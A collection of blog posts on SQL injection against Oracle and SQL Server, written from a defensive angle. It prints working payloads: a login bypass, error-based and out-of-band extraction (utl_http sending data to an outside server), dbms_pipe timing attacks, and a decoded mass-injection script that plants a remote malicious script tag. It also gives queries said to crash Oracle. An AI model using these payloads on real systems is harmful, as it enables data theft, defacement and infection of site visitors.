SQL injection

I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.

What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.

Let’s start with a simple example

Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '" + username + "'
and password = '" + password + "'");

Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.

SQL Injection types

Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.


This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ‘1’ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:

ORA-29257: host Oracle Database 11g Enterprise Edition Release –

64bit Production unknown

ORA-06512: at “SYS.UTL_INADDR”, line 4

ORA-06512: at “SYS.UTL_INADDR”, line 35

ORA-06512: at line 1

On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.


If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ‘1’ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.

Inference (Blind SQL Injection)

Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –“. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.

What do you think? Is using timeouts as delays for blind SQL injection a usable technique?

OK, it looks like this was a test site but nevertheless it makes you wonder.

Leaving web application vulnerable to SQL injection and entire databases out there without protection is a sure way to get yourself hacked. It doesn’t even matter if the site was a test site (I hope it was) but we’ve seen many cases where access to a machine on the company DMZ was followed by getting control of the machine and getting further inside into the company (remember Heartland?).

Looks like Yahoo! Local was vulnerable to SQL injection. It turns out that Yahoo! Local was using MySQL 5 and was not securely configured (allowing load_file).

Again, this proves that it’s enough to have a single SQL injection vulnerability to open the gate for a complete takeover.

Following the resent news that the Heartland breach initially started from a simple SQL injection attack this just proves that SQL injection is still alive and kicking.

I wonder if Yahoo! Local was developed using good development practices like using bind-variables, sanitizing input and output, never displaying errors on screen and so on. Looks like the site was developed in PHP. Come on guys, look at the prepare and bind methods here. It’s easy enough.

Notice the URL in the images – amazing how easy this is!

I recently had a discussion with our development team about displaying stack traces to the customer.
Looking at this from a support point of view, no doubt that if a customer can tell support exactly what the problem is, it will shorten the investigation and will allow support to pinpoint the issue faster. On the other hand, looking at this from a security point of view (my argument), displaying stack traces can disclose a lot of information about the internal structure and workings of the application and this is something an attacker can use. Also, SQL injection attacks can use errors returned from the database to retrieve information from the database. For SQL injection, in-band attacks are the easiest to exploit and displaying errors allows that. If nothing is displayed to the attacker except a generic message, the attacker is forced to try out-of-band or even blind SQL injections which are harder to use.

Here is an example I got from Guy Lichtman after the discussion while he was browsing MSNBC.com on his mobile.

System.NullReferenceException: Object reference not set to an instance of an object.
at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.GetVideo(HttpContext context, MobileVideoData mobileVideoData, Boolean isMappedId) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 242 at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.Process(HttpContext context, Object componentData, WorkAreas workArea, String device, Site site, PageParameters pageParams) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 155

An attacker can learn from the exception some info regarding file system layout and code package naming conventions. It is then possible to do some Google hacking on the package name and find out even more…

Google hacking

Google hacking

Eventually, we agreed on the following course of action:
1. Generate a public/private key-pair for support
2. Distribute the public key with our software
3. Encrypt the stack trace with the public key before displaying on screen
4. Create a small utility for support to decrypt the stack traces when received from customers

How did you solve this problem?

Happy New Year everyone!

As promised, in this blog post I will deal with the PL/SQL fuzzer I’ve created in my spare time and during flights. The goal for creating it was to provide an easy tool for the DBA to test PL/SQL code inside the database. This tested code can be internally developed or by a 3rd party. Before describing the architecture of the fuzzer and showing examples, I would like to make the following clarifications / warnings:

  • Fuzzing on production is a BIG no-no.  Never run the fuzzer on any database you care about. Always use test copies because running the fuzzer may crash / corrupt the database.
  • The fuzzer cannot guaranty that the code is not vulnerable, it can only try and find existing vulnerabilities. Running the fuzzer on a procedure and receiving a clean result does not mean that this procedure is free of vulnerabilities because the fuzzor does not analyze the code and does not visit all the code paths.
  • The fuzzer is in no way shape or form a finished product. It will blow in your face. It will fail when running your code. It contains multiple bugs. USE RESPONSIBLY!!!

Now that the warnings part is over, let’s talk about the design.
I chose PL/SQL for the following reasons:

  • Easy to run SQL statements
  • Built-in the database
  • Cross platform
  • Good enough for the task
  • DBAs already speak it fluently
  • Can be easily scheduled as a DB job from inside the database

The design is fairly simple and is based on the following requirements:

  • Must use database tables to track executions across invocations and to change various fuzzing parameters
  • Must try and find interesting (dynamic) code using discovery
  • Must easily generate reports on the fuzzing results


Ah, finally home after 10 days of travel. I attended the UKOUG event in Birmingham and did a database security presentation and participated in a security round table. I also attended very interesting presentations by Pete Finnigan and Paul Wright.

One noteworthy presentation was called Breaking Oracle which showed how to create scenarios where the Oracle database crashes or spins. I thought that some of the examples in the presentation were major security issues that allow users to crash or spin Oracle with very simple queries.
Please don’t try this on your database –
select 1 from dual where regexp_like(‘ ‘,’^*[ ]*a’);
Or this:
SQL> create table t2(col1 varchar2(60));
SQL> create table t1(c1 varchar2(60),
c2 varchar2(1),
c3 varchar2(60),
c4 varchar2(60));
SQL> explain plan for
select 1 from t1 a, t2 b ,t1 c
where b.col1 = ‘xxslc_department’
and a.c1 not between c.c3 and c.c4
start with a.c2=’p’
connect by prior a.c1 between a.c3 and a.c4;

I thought long and hard about what I was going to present during this conference. I did not want to do the usual stuff of unsecure/default passwords, securing the listener or applying patches. I wanted to present something that would give the attendees a real call-to-action they could take with them immediately after the conference. So, I decided to do something simple that would demonstrate SQL injection on a made-up function and show how you should protect this function. Also, I wanted to show how DBAs could find such vulnerable code in the database and fix it.


Its been a long time since I’ve written anything here. I’ve been extremely busy with my family move to the bay area. I still can’t believe the amount of paperwork required. I’ve filled virtually hundreds of forms and it’s not over yet. But, after a month here, I can say that we’ve finally settled down. Kids go to school, house is almost fully organized, my wife and I got our iPhones 3G 🙂

House picture Garden

Anyway, back to the subject of this entry – weird statements you see coming from applications when monitoring databases.

  • I’m still amazed to see the number of statements doing things like ‘where 1=1’ just out of sheer laziness of the programmer to check if the condition to append to a dynamic query is the first or the second. It’s not like this really hurts performance on mature databases because the optimizer will strip such predicates away when evaluating the execution plan, but those statements can really throw off a security solution trying to alert on SQL injection. Seeing such statements from applications written by database vendors (you know who you are) can really get me frustrated!
  • Another oddity I mostly see on MS SQL Server databases is the tendency to dynamically create stored procedures on the fly, and then call them to do simple things like updates and inserts. Does anyone really think that this is more secure or provides better performance than simply running the statement?
  • An anti-design pattern I’ve seen many times is choosing the ID of the next row by selecting max(id) + 1 from the table. It really made me laugh when I’ve seen this code in one particular instance responsible for adding rows to the audit table! For example, in a highly transactional environment, two sessions can perform select max(id) + 1 in the same time receiving the same number. Trying to use this as a new id will succeed in one session and fail in the other one thus omitting records from the log.
  • Enough was written about the “When others then null” exception handling…

How about you guys out there? What is the weirdest statement you’ve seen applications perform?

Adrian Lane writes in his blog entry about separation of duties on the application level. While I agree with his sentiments I also know how hard it is to do so from the application development side. In most applications , database connections are using connection pooling. Creating such a separation makes the development process a lot harder. You have a choice of either using separate pools for separate functionality (thus creating transactional problems if you have to do both an administrative and a non-administrative task in the same flow) or using vendor specific light user connections (Oracle provides this) but most tools do not support it. Also, if this is a targeted attack and the attacker has found an SQL injection in your application, it doesn’t really matter under what user the application connects to the database since there are so many ways to perform privilege escalation attacks and own the database from a low privileged account on most DBMSs.

As I always say, the best way to solve SQL injection problems is to use bind variables! Of course, making sure that no code without bind variables ever enters the application is another story 🙁

Well, it was an interesting day today for us in Sentrigo. One of our customers was being attacked by this mass SQL injection and since our software identified the attack he came to us to help him cope with the situation. As explained in other places, the attack takes advantage of vulnerable web sites and infects text fields in the database with a malicious Javascript. So, in our case, the initial attack started with the following SQL injection (I removed the actual table names and slightly changed the attack):

SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));–

Couple of things to notice:

  • As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
  • The attack itself was hex-encoded to avoid detection and various complications

The attack decodes in SQL Server to the following code:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.

So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:

  • If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
  • Most of the parameters are simple integers and no type checks are performed
  • Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements

Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:

Function stripSQL(param)
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until —
With RegularExpressionObject
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
End With
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
End Function

This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.

Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp

And voila, the site is up and running…

It’s been a while since my last post, but contrary to rumors I am not dead – just traveling a lot (something I promise to blog about soon).

The UN’s website suffered an SQL injection over the weekend by hackers who defaced the homepage. According to this site the SQL injection exploited a database vulnerability, but I don’t think this was a super-sophisticated vulnerability exploit, but rather a simple SQL injection enabled by non-secure coding practices – this sort of SQL injection should be easily avoidable by binding variables, which apparently the UN techies didn’t do.

Shame. I think the Security Council should convene and unequivocally condemn the hackers. That’ll show them.

« Previous Page